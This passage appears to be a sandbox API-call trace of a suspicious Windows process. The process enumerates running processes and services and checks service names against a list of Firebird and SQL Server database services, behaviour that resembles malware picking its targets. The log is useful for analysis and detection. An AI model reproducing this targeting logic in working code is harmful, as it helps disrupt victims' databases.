(lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0272.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0272.077] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0272.078] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0272.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0272.078] lstrlenW (lpString="Power") returned 5 [0272.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0272.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0272.078] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0272.078] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0272.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0272.078] lstrlenW (lpString="ProfSvc") returned 7 [0272.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0272.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0272.078] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0272.078] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0272.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0272.078] lstrlenW (lpString="RpcEptMapper") returned 12 [0272.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0272.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0272.078] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0272.078] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0272.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0272.078] lstrlenW (lpString="RpcSs") returned 5 [0272.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0272.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0272.079] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0272.079] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0272.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0272.079] lstrlenW (lpString="SamSs") returned 5 [0272.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0272.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0272.079] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0272.079] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0272.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0272.079] lstrlenW (lpString="Schedule") returned 8 [0272.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0272.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0272.079] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0272.079] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0272.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0272.079] lstrlenW (lpString="SecurityHealthService") returned 21 [0272.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0272.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0272.079] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0272.079] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0272.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0272.079] lstrlenW (lpString="SENS") returned 4 [0272.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0272.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0272.080] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0272.080] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0272.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0272.080] lstrlenW (lpString="ShellHWDetection") returned 16 [0272.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0272.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0272.080] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0272.080] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0272.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0272.080] lstrlenW (lpString="Spooler") returned 7 [0272.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0272.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0272.080] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0272.080] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0272.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0272.080] lstrlenW (lpString="SSDPSRV") returned 7 [0272.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0272.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0272.080] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0272.081] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0272.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0272.081] lstrlenW (lpString="StateRepository") returned 15 [0272.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0272.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0272.081] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0272.081] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0272.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0272.081] lstrlenW (lpString="SysMain") returned 7 [0272.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0272.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0272.081] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0272.081] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0272.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0272.081] lstrlenW (lpString="SystemEventsBroker") returned 18 [0272.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0272.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0272.081] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0272.081] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0272.082] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5070058 | out: hHeap=0x670000) returned 1 [0272.082] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x488 [0272.217] Process32FirstW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.218] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.218] lstrlenW (lpString="System") returned 6 [0272.218] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.219] lstrlenW (lpString="smss.exe") returned 8 [0272.219] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.219] lstrlenW (lpString="csrss.exe") returned 9 [0272.220] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.220] lstrlenW (lpString="wininit.exe") returned 11 [0272.220] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.221] lstrlenW (lpString="csrss.exe") returned 9 [0272.221] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.221] lstrlenW (lpString="winlogon.exe") returned 12 [0272.221] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.222] lstrlenW (lpString="services.exe") returned 12 [0272.222] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.222] lstrlenW (lpString="lsass.exe") returned 9 [0272.223] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0272.223] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0272.223] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0272.224] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0272.224] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.225] lstrlenW (lpString="svchost.exe") returned 11 [0272.225] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.225] lstrlenW (lpString="svchost.exe") returned 11 [0272.225] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.226] lstrlenW (lpString="dwm.exe") returned 7 [0272.226] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.226] lstrlenW (lpString="svchost.exe") returned 11 [0272.226] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.227] lstrlenW (lpString="svchost.exe") returned 11 [0272.227] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.228] lstrlenW (lpString="svchost.exe") returned 11 [0272.228] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.228] lstrlenW (lpString="svchost.exe") returned 11 [0272.228] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.229] lstrlenW (lpString="svchost.exe") returned 11 [0272.229] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.229] lstrlenW (lpString="svchost.exe") returned 11 [0272.229] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.230] lstrlenW (lpString="svchost.exe") returned 11 [0272.230] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.230] lstrlenW (lpString="svchost.exe") returned 11 [0272.231] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.231] lstrlenW (lpString="svchost.exe") returned 11 [0272.231] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.232] lstrlenW (lpString="svchost.exe") returned 11 [0272.232] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0272.232] lstrlenW (lpString="spoolsv.exe") returned 11 [0272.232] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.233] lstrlenW (lpString="svchost.exe") returned 11 [0272.233] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.234] lstrlenW (lpString="audiodg.exe") returned 11 [0272.234] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0272.234] lstrlenW (lpString="sihost.exe") returned 10 [0272.234] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.235] lstrlenW (lpString="svchost.exe") returned 11 [0272.235] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0272.235] lstrlenW (lpString="taskhostw.exe") returned 13 [0272.236] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0272.236] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0272.236] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0272.236] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0272.237] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0272.237] lstrlenW (lpString="Memory Compression") returned 18 [0272.237] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0272.237] lstrlenW (lpString="explorer.exe") returned 12 [0272.238] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0272.238] lstrlenW (lpString="SearchUI.exe") returned 12 [0272.238] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0272.239] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0272.239] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0272.540] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0272.541] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0272.541] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0272.541] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0272.542] lstrlenW (lpString="finbbp.exe") returned 10 [0272.542] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0272.542] lstrlenW (lpString="consent.exe") returned 11 [0272.542] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.561] lstrlenW (lpString="svchost.exe") returned 11 [0272.561] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0272.572] lstrlenW (lpString="dllhost.exe") returned 11 [0272.572] Process32NextW (in: hSnapshot=0x488, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0272.573] CloseHandle (hObject=0x488) returned 1 [0272.573] Sleep (dwMilliseconds=0x1f4) [0273.264] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa9e8 [0273.265] EnumServicesStatusExW (in: hSCManager=0x41aa9e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0273.265] GetLastError () returned 0xea [0273.265] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x5070058 [0273.266] EnumServicesStatusExW (in: hSCManager=0x41aa9e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5070058, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5070058, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0273.267] CloseServiceHandle (hSCObject=0x41aa9e8) returned 1 [0273.267] lstrlenW (lpString="Appinfo") returned 7 [0273.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0273.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0273.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0273.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0273.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0273.267] lstrlenW (lpString="AppXSvc") returned 7 [0273.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0273.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0273.267] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0273.267] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0273.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0273.267] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0273.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0273.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0273.268] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0273.268] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0273.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0273.268] lstrlenW (lpString="Audiosrv") returned 8 [0273.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0273.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0273.268] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0273.268] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0273.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0273.268] lstrlenW (lpString="BFE") returned 3 [0273.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0273.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0273.268] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0273.268] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0273.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0273.268] lstrlenW (lpString="BITS") returned 4 [0273.268] lstrcmpiW 